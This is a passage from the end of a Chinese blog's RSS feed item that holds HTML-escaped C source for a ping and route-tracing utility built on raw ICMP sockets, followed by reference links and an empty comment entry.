&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %s&#92;n&quot;,inet_ntoa(from.sin_addr));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;if( icmp-&gt;icmp_type==3 )
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;if(show_pro==1)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;Destination can not reach&#92;n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;return -1;
&#125;

void cal_time(double rtt)
&#123;
&nbsp;&nbsp;if(max_time&lt;rtt)
&nbsp;&nbsp;&nbsp;&nbsp;max_time=rtt;
&nbsp;&nbsp;if(min_time&gt;rtt)
&nbsp;&nbsp;&nbsp;&nbsp;min_time=rtt;
&nbsp;&nbsp;sum_time+=rtt;
&#125;

/*时间求差*/
void tv_sub(struct timeval *out,struct timeval *in)
&#123;
&nbsp;&nbsp;if( (out-&gt;tv_usec-=in-&gt;tv_usec)&lt;0 )
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;out-&gt;tv_sec-=1;
&nbsp;&nbsp;&nbsp;&nbsp;out-&gt;tv_usec+=1000000;
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;out-&gt;tv_sec-=in-&gt;tv_sec;
&#125;

void commandhelp()
&#123;
&nbsp;&nbsp;printf(&quot;&#92;n&quot;);
&nbsp;&nbsp;printf(&quot;Usage: ping &quot;);
&nbsp;&nbsp;printf(&quot;[-c count] [-i interval] [-n show result] &#92;n&quot;);
&nbsp;&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;);
&nbsp;&nbsp;printf(&quot;[-t ttl] [-q result only] [-r routetrace] &#92;n&quot;);
&nbsp;&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;);
&nbsp;&nbsp;printf(&quot;[-v detail&#92;n]&quot;);
&#125;
void send_recv()
&#123;
&nbsp;&nbsp;while(nsend&lt;send_count)
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;sleep(send_interval);&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;if( send_packet()==0 )
&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nsend++;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( recv_packet()==0 )
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nreceived++;
&nbsp;&nbsp;&nbsp;&nbsp;&#125;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;if(route_count!=-1)
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;nTTL=-1;
&nbsp;&nbsp;&nbsp;&nbsp;while(route_TTL&lt;=route_count)
&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setsockopt(sockfd, IPPROTO_IP, IP_TTL,(char *)&amp;route_TTL,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sizeof(int));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send_packet();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;recv_packet();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;route_TTL++;
&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;gettimeofday(&amp;end_time,NULL);
&nbsp;&nbsp;tv_sub(&amp;end_time,&amp;start_time);
&nbsp;&nbsp;statistics(SIGALRM);
&#125;


int main(int argc,char *argv[])
&#123;
&nbsp;&nbsp;int timeout=5000;
&nbsp;&nbsp;int argi=1,ascaddr;
&nbsp;&nbsp;struct hostent *host;
&nbsp;&nbsp;struct protoent *protocol;
&nbsp;&nbsp;char* inaddr;
&nbsp;&nbsp;int waittime=MAX_WAIT_TIME;
&nbsp;&nbsp;int size=50*1024;
&nbsp;&nbsp;gettimeofday(&amp;start_time,NULL);
&nbsp;&nbsp;inaddr=(char *)malloc(16*sizeof(char));
&nbsp;&nbsp;if(argc&lt;2)
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;usage:%s hostname/IP address&#92;n&quot;,argv[0]);
&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;while(argi&lt;argc)
&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( argv[argi][0]==&#039;w&#039; &amp;&amp; argv[argi][1]==&#039;w&#039; &amp;&amp; argv[argi][2]==&#039;w&#039; )
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(iobyname!=0)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;bad parameter %s&#92;n&quot;,argv[argi]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( (host=gethostbyname(argv[argi]))==NULL )
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; perror(&quot;gethostbyname error&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iobyname=1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argi++;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(argv[argi][0]&gt;=&#039;0&#039; &amp;&amp; argv[argi][0]&lt;=&#039;9&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(iobyname!=0)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;bad parameter %s&#92;n&quot;,argv[argi]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy(inaddr,argv[argi]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iobyname=2;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argi++;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(argv[argi][0]==&#039;-&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch(argv[argi][1])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#039;h&#039;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;commandhelp();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#039;c&#039;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send_count=atoi(argv[argi+1]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argi+=2;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#039;i&#039;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send_interval=atoi(argv[argi+1]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argi+=2;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#039;n&#039;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argi++;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#039;q&#039;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;show_pro=0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argi++;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#039;s&#039;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; datalen=atoi(argv[argi+1]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(datalen&lt;56)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;datalength from 56 to 4096 &#92;n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argi+=2;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#039;t&#039;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nTTL=atoi(argv[argi+1]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argi+=2;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#039;r&#039;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;route_count=atoi(argv[argi+1]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argi+=2;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#039;v&#039;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argi++;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;bad parameter %s&#92;n&quot;,argv[argi]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;if( (protocol=getprotobyname(&quot;icmp&quot;))==NULL )
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;perror(&quot;getprotobyname&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;if( (sockfd=socket(AF_INET,SOCK_RAW,protocol-&gt;p_proto))&lt;0 )
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;perror(&quot;socket error&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;setuid(getuid());
&nbsp;&nbsp;setsockopt( sockfd,SOL_SOCKET,SO_RCVBUF,&amp;size,sizeof(size) );
&nbsp;&nbsp;setsockopt( sockfd,SOL_SOCKET,SO_RCVTIMEO,(char *)&amp;timeout,sizeof(timeout));//设置接受超时
&nbsp;&nbsp;setsockopt( sockfd,SOL_SOCKET,SO_SNDTIMEO,(char *)&amp;timeout,sizeof(timeout));//设置发送超时
&nbsp;&nbsp;if(nTTL!=-1)
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;setsockopt(sockfd, IPPROTO_IP, IP_TTL,(char *)&amp;nTTL,sizeof(int));
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;bzero(&amp;dest_addr,sizeof(dest_addr));
&nbsp;&nbsp;dest_addr.sin_family=AF_INET;
&nbsp;&nbsp;if(iobyname==1)
&nbsp;&nbsp;&nbsp;&nbsp;dest_addr.sin_addr = *( (struct in_addr *)host-&gt;h_addr );
&nbsp;&nbsp;if(iobyname==2)
&nbsp;&nbsp;&nbsp;&nbsp;dest_addr.sin_addr.s_addr = inet_addr(inaddr) ;
&nbsp;&nbsp;&nbsp;&nbsp;pid=getpid();
&nbsp;&nbsp;if(iobyname==1)
&nbsp;&nbsp;printf(&quot;ping %s(%s): %d bytes data in ICMP packets.&#92;n&quot;,host-&gt;h_name,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inet_ntoa(dest_addr.sin_addr),datalen);
&nbsp;&nbsp;if(iobyname==2)
&nbsp;&nbsp;printf(&quot;ping %s(%s): %d bytes data in ICMP packets.&#92;n&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inaddr,inaddr,datalen);
&nbsp;&nbsp;send_recv();
&#125;
</textarea><br/><br/>下载自：http://download.csdn.net/download/sjgtongji/4421406<br/><br/>在linux中用C语言实现ping命令的部分功能：<br/>http://blog.csdn.net/junjieguo/article/details/7678496
]]>
</description>
</item><item>
<link>http://jackxiang.com/post//#blogcomment</link>
<title><![CDATA[[评论] [实践OK]能通过icmp协议抓包到Ping服务器的出口IP地址，以及反射木马的一个机制，ping某台机器时，偶尔返回慢，Ping超时检测思路，ping -r 显示路由,C代码，mtr baidu.com icmp 这玩意不错可以试试不错，有丢包率。]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://jackxiang.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>